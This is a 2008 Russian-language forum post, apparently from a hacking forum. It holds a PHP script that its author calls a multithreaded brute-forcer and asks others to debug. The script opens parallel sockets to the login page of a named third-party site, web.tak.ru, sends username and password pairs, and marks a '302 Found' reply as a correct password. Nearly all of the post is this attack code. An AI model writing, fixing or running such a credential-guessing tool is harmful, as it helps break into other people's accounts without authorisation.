Показать сообщение отдельно

  #3056  
Старый 10.05.2008, 18:39
!{ra!{e/\/
Banned
Регистрация: 27.08.2007
Сообщений: 159
С нами: 9845666

Репутация: 171
По умолчанию

"симулирую" многопоточный брут
PHP код:
<?php

$max_threads 
5;//Максимальное количество потоков
set_time_limit(320); // Лимит времени на выполнение. 

$get_array[0] = "freetest";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа.
$get_array[1] = "krakem";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа.
$get_array[2] = "ucoz";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа.
$get_array[3] = "rucoz";
$get_array_name[0]="ANTICHAT";
$get_array_name[1]="passwqw";
$get_array_name[2]="453wccw91";
$get_array_name[3]="ne2tpass123";

echo(
"Всего запросов: " count($get_array) . "<BR> Поехали! <BR>");

$sockets = array(); //В этом массиве находятся открытые сокеты
$done false;// Флаг $done используется для остановки скрипта после выполнения работы
$curr 0// $curr - будет текущим элементом из всего массива запросов
while (!$done)
    {
    while ((
$max_threads count($sockets)) && ($curr count($get_array))) // Если количество активных сокетов меньше константы и $curr не превысил допустимые нормы, то запускаем скрипт, который создает недостающее количество сокетов
        
{
           
$packet.="POST /enter.php HTTP/1.0\r\n";
        
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
        
$packet.="Accept-Language: ru\r\n";
        
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
        
$packet.="Host: web.tak.ru\r\n";
        
$packet.="Content-Length: 52\r\n";
        
$packet.="Pragma: no-cache\r\n";
        
$packet.="Connection: Keep-Alive\r\n\r\n";
        
$packet.="login=$get_array[$curr]&password=$get_array_name[$curr]&Submit=++OK++&z=enter_form";
    
        
$errno 0;
        
$error "";
        
$sockets[$curr] = fsockopen("web.tak.ru",80);// открываем новый сокет
        
stream_set_blocking($sockets[$curr], 0);
        
stream_set_timeout($sockets[$curr], 3600);
        
fputs($sockets[$curr], $packet);// Посылаем в этот сокет наш запрос
        
echo("Создан сокет: " $curr "<br>");
        
$curr $curr 1;// Переходим к следующему элементу массива
        
}
sleep(1);// Чтобы не сильно загружать сервер будем проверять данные по всем сокетам через 1 секунду
foreach($sockets as $key => $val
    {

    
$temp[$key] = fgets($sockets[$key]); // Получаем данные из текущего сокета [ данных может и не быть ]
    ///echo("Прочитали данные из сокета: " . $key . "<br><textarea>");// Для удобства я поместил их в теги <textarea>
    ///echo($temp . "</textarea><p>");

    
if (feof($sockets[$key]))// Если данные закончилисть
        
{
        unset(
$sockets[$key]); //то удаляем отработавший сокет из массива
        
echo("Удален сокет: " $key "<br>");
        }
   }
echo(
"Сейчас обрабатывается: " count($sockets) . " сокетов<BR>");

// если нет активных сокетов, то можно выходить
if (count($sockets) == 0$done true;
    }
 for (
$i=0;$i<5;$i++) 
  {
   if ((
strpos($temp[$i],"302 Found"))>0) echo $get_array[$i]  $get_array_name[$i]-- Пароль правильный";
   else echo 
$get_array[$i]  $get_array_name[$i]--Не правильный пароль ";
  }

echo(
"Конец");

?>
нипойму почему не работает...и скорость почему такая

Последний раз редактировалось !{ra!{e/\/; 10.05.2008 в 19:17..
 
Ответить с цитированием